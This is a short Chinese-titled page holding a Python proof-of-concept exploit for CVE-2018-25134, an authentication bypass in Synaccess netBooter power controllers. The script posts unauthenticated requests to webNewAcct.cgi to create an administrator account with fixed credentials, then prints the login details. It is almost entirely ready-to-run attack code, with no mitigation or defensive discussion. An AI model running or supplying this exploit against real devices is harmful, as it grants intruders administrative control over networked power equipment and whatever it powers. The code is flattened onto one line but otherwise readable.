CVE-2018-25134: Synaccess netBooter身份验证绕过漏洞

# CVE-2018-25134 PoC - Synaccess netBooter Authentication Bypass # Target: Synaccess netBooter NP-02x/NP-08x (firmware 6.8) # Vulnerability: Missing authentication check in webNewAcct.cgi import requests import sys def exploit(target_ip, target_port=80): """ Exploit for CVE-2018-25134 Creates a new admin account without authentication """ # Target URL for account creation url = f"http://{target_ip}:{target_port}/webNewAcct.cgi" # Malicious POST data to create admin account # The script does not verify authentication, allowing account creation payload = { "username": "hacker", "password": "P@ssw0rd123", "privilege": "1", # Admin privilege level "Submit": "Create+Account" } print(f"[*] Targeting: {target_ip}:{target_port}") print(f"[*] Exploiting CVE-2018-25134...") try: # Send crafted POST request without authentication response = requests.post(url, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully!") print(f"[+] Created admin account: hacker / P@ssw0rd123") print(f"[*] Login at: http://{target_ip}:{target_port}/") return True else: print(f"[-] Unexpected response: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target, port)